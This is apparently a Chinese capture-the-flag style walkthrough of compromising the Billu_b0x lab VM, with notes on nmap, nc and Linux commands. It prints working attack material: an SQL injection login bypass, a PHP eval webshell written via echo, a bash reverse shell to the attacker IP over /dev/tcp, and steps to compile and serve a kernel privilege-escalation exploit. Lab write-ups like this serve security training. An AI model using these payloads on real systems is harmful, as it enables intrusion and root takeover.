Billu_b0x靶机渗透

Billu_box靶机渗透

0x00 准备

靶机:Billu_box Ubuntu 192.168.4.129

主机:Debain 192.168.4.128

VMnet8(NAT 模式)

Billu_b0x靶机渗透

0x01 Billu_b0x靶机渗透

发现靶机。

1.2、端口扫描

Billu_b0x靶机渗透

靶机仅开放了22端口和80端口。

补充几个点:

nmap常用功能

  • 探测主机存活
  • 扫描端口
  • 探测主机操作系统信息
  • 检测漏洞
    nmap扫描速度要比nc快
    nmap不加参数默认是SYN扫描

    使用nmap验证多种漏洞

    https://www.cnblogs.com/-qing-/p/10658901.html

1.3、目录扫描

Billu_b0x靶机渗透
Billu_b0x靶机渗透

1.4、端口访问

访问靶机80端口。

Billu_b0x靶机渗透

是一个登录窗口,"Show me your SQLI skills"提示利用SQL注入。

尝试万能钥匙

Billu_b0x靶机渗透

万能密码和常规注入都不能登录进去。

访问其它文件。

add目录有文件上传点。

Billu_b0x靶机渗透

尝试上传一个木马,上传之后没有任何回显,再看看其它文件。

在image目录发现三个图片文件

Billu_b0x靶机渗透

在in目录下发现操作系统信息
Billu_b0x靶机渗透
Billu_b0x靶机渗透

allow_url_fopen=on(允许远程读取文件)

allow_url_include = Off(禁止引用URL文件)

找到网站路径
Billu_b0x靶机渗透

在phpmy文件中发现phpmyadmin
Billu_b0x靶机渗透

万能密码和字典爆破都没有成功。

在test文件中发现
Billu_b0x靶机渗透

翻译:“file”参数为空。请在“file”参数中提供文件路径

随意提交一个参数
Billu_b0x靶机渗透

GET传参没有效果,试试POST传参。

Billu_b0x靶机渗透

文件不存在,尝试file=index.php

Billu_b0x靶机渗透

提示下载index.php文件,说明这里存在任意文件下载漏洞,我们可以利用任意文件下载漏洞下载文件,从源码中得到信息。

也可以利用任意文件下载漏洞下载phpmyadmin配置文件。

在index.php文件中发现用户登录查询语句。

Billu_b0x靶机渗透

在panel.php发现两个文件c.php和head2.php。

Billu_b0x靶机渗透

下载这两个文件。

在c.php中发现数据库用户名和密码

Billu_b0x靶机渗透

在test.php文件中找到任意文件下载漏洞产生的原因:后端对用户传入的数据没有做任何的检测,导致用户可以下载任意文件。

Billu_b0x靶机渗透

在panel.php文件中发现后端对上传文件的过滤

Billu_b0x靶机渗透

由于有白名单的存在,只能上传后缀名为"jpeg、jpg、gif、png"的文件,所以即使上传了图片马也不能访问。

在panel.php文件的前部分发现文件包含漏洞

Billu_b0x靶机渗透

后端对传入的参数没有进行任何检测和过滤,我们可以利用文件上传+文件包含漏洞。

在config.inc.php文件中发现SSH用户名和密码

Billu_b0x靶机渗透 Billu_b0x靶机渗透

0x02 漏洞利用

2.1、账户登录

2.1.1、用户名、密码登录

利用从源码中获取到的数据库用户名和密码登录数据库

在ica_lab数据库的users表中发现一个用户

Billu_b0x靶机渗透

利用得到的用户信息登录index页面,

Billu_b0x靶机渗透

登陆成功!

2.1.2、万能密码登录

也可以利用SQL注入漏洞构造万能密码绕过

代码审计:

$uname=str_replace(''','',urldecode($_POST['un']));	//过滤单引号 $pass=str_replace(''','',urldecode($_POST['ps']));  $run='select * from auth where  pass=''.$pass.'' and uname=''.$uname.'''; 
str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。  参数先经过 urldecode() 函数解码,然后 str_replace() 函数将参数中可能存在的单引号转换为空 构造数据库查询语句的时候单引号引用参数然后进行拼接。 

利用思路:

源码中出现的 ’ 符号,其中的反斜杠只是起到独立单引号的作用,这个时候可以将其当作一个字符串,同时它也不能起到闭合其他单引号的作用。由于单引号是成对出现的,所以在单引号前面添加反斜杠可以让单引号独立出来,所以在这里可以构造如下的 payload 进行注入。

构造的payload:

uname=or 1=1 #

pass=admin

最后拼接的语句为

select * from auth where  pass='admin' and uname='or 1=1 #'' 
Billu_b0x靶机渗透

绕过成功!

2.2、上传木马

在panel.php中有两个模块,Show Users模块和Add User模块。

Billu_b0x靶机渗透

在Add User模块存在文件上传点
Billu_b0x靶机渗透

根据刚才的源码分析,这里存在文件包含漏洞,上传的文件后缀名只能为"jpeg、jpg、gif、png"。

上传图片木马

Billu_b0x靶机渗透

system()执行系统命令

上传成功!

Billu_b0x靶机渗透

通过源码可知图片马被保存在uploaded_images目录下

Billu_b0x靶机渗透

访问该文件

Billu_b0x靶机渗透

分析后端源码

Billu_b0x靶机渗透

参数load用于加载图片路径,由于图片马被保存在uploaded_images目录下,所以通过POST构造传递的参数load=/uploaded_images/001.jpg&continue=continue

通过GET传参执行命令。

Billu_b0x靶机渗透

木马解析成功!

Billu_b0x靶机渗透

补充几个点:

在Linux /etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改以完成对用户的管理工作。

Billu_b0x靶机渗透

查看文件执行权限

执行 ls -la(以列表的实行显示文件)

解释:

ls 命令将每个由 Directory 参数指定的目录或者每个由 File 参数指定的名称写到标准输出,以及您所要求的和标志一起的其它信息。如果不指定 File 或 Directory 参数, ls 命令显示当前目录的内容。

-a表示显示所有文件及目录 (ls内定将文件名或目录名称开头为"."的视为隐藏档,不会列出)。

-l表示除文件名称外,亦将文件型态、权限、拥有者、文件大小等资讯详细列出。

Billu_b0x靶机渗透 Billu_b0x靶机渗透

可以利用写权限在靶机写入一句话木马

echo '<?php eval($_POST['hacker'])?>' >> uploaded_images/shell.php 
Billu_b0x靶机渗透

测试一下是否写入成功,查看uploaded_images目录,在该目录中有shell.php文件

Billu_b0x靶机渗透

写入成功!

用蚁剑连接

Billu_b0x靶机渗透

连接成功!

0x03 提权

3.1、利用内核版本的exp提权

3.1、查看靶机信息

打开蚁剑的虚拟终端查看靶机版本信息

whoami  uname -a   cat /etc/issue 

补充几个点:

uname 可显示电脑以及操作系统的相关信息。

参数说明

  • -a或–all  显示全部的信息。

  • -m或–machine  显示电脑类型。

  • -n或–nodename  显示在网络上的主机名称。

  • -r或–release  显示操作系统的发行编号。

  • -s或–sysname  显示操作系统名称。

  • -v  显示操作系统的版本。

  • –help  显示帮助。

  • –version  显示版本信息。

/etc/issue 查看linux系统版本

Billu_b0x靶机渗透

3.1.2、寻找EXP

利用kali自带的漏洞库查看可利用的EXP

searchsploit linux 3.13.0

Billu_b0x靶机渗透

将脚本复制到 tmp 目录下,编译后在 tmp 开启 80 服务,可供蚁剑下载该目录下的文件

cp /usr/share/exploitdb/exploits/linux/local/37292.c /tmp   gcc 37292.c -o shell 		运行exp  python -m SimpleHTTPServer 80			开启80服务 

python -m 将库中的python模块用作脚本去运行。

比如:

python -m SimpleHTTPServer #python2中启动一个简单的http服务器
python -m http.server #python3中启动一个简单的http服务器

python xxx.py 直接运行py文件

python -m xxx.py 当作模块来启动

Billu_b0x靶机渗透

开启80服务

Billu_b0x靶机渗透

3.1.3、编写shell

写编写shell

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.4.128/6666 0>&1'"); ?> 

补充几个点:

什么是反弹shell(reverse shell)?

就是控制端监听某TCP/Billu_b0x靶机渗透

利用蚁剑将反弹shell放到uploaded_images目录下

Billu_b0x靶机渗透

开启端口监听

Billu_b0x靶机渗透

补充几个点

什么是nc

nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具

nc的作用

(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口

(2)端口的扫描,nc可以作为client发起TCP或UDP连接

(3)机器之间传输文件

(4)机器之间网络测速

参数说明

  • -g<网关> 设置路由器跃程通信网关,最多可设置8个。
  • -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
  • -h 在线帮助。
  • -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
  • -l 使用监听模式,管控传入的资料。
  • -n 直接使用IP地址,而不通过域名服务器。
  • -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
  • -p<通信端口> 设置本地主机使用的通信端口。
  • -r 乱数指定本地与远端主机的通信端口。
  • -s<来源位址> 设置本地主机送出数据包的IP地址。
  • -u 使用UDP传输协议。
  • -v 显示指令执行过程。
  • -w<超时秒数> 设置等待连线的时间。
  • -z 使用0输入/输出模式,只在扫描通信端口时使用

用浏览器访问反弹sehll

Billu_b0x靶机渗透

3.1.4、反弹shell

浏览器访问shell后在主机上成功反弹shell

Billu_b0x靶机渗透

3.1.5、利用exp提权

查看shell的执行权限(x 代表可执行),直接运行会报错。

Billu_b0x靶机渗透

Linux 系统下遇到 cannot execute binary file 的问题,一般由如下情况造成:

1、非 root 用户或者无执行权限
2、编译环境不同(程序由其他操作系统复制过来)

对于第一种情况,对脚本添加执行权限即可(chmod +x shell)
对于第二种情况,只需包改脚本的二进制文件拷贝过来,在新的环境编译即可

重新运行exp,查看权限

Billu_b0x靶机渗透

root权限,提权成功!

3.2、利用SSH提权

尝试SSH登录,在源代码中有用户名和密码

Billu_b0x靶机渗透

利用SSH服务尝试远程登录

Billu_b0x靶机渗透

登录成功!

查看权限

Billu_b0x靶机渗透

root权限,提权成功!

0x04 总结

1.漏洞挖掘:test页面存在post形式的文件包含(文件任意下载),panel.php页面存在文件包含漏洞

2.漏洞利用:文件上传getshell

3.利用getshell在靶机写一句话木马,通过蚁剑连接一句话木马

4.查看靶机系统信息,寻找可用EXP

5.利用反弹shell和内核漏洞提权
  
  
  
  
The quieter you become, the more you are able to hear.

版权声明:玥玥 发表于 2021-08-09 12:02:38。
转载请注明:Billu_b0x靶机渗透 | 女黑客导航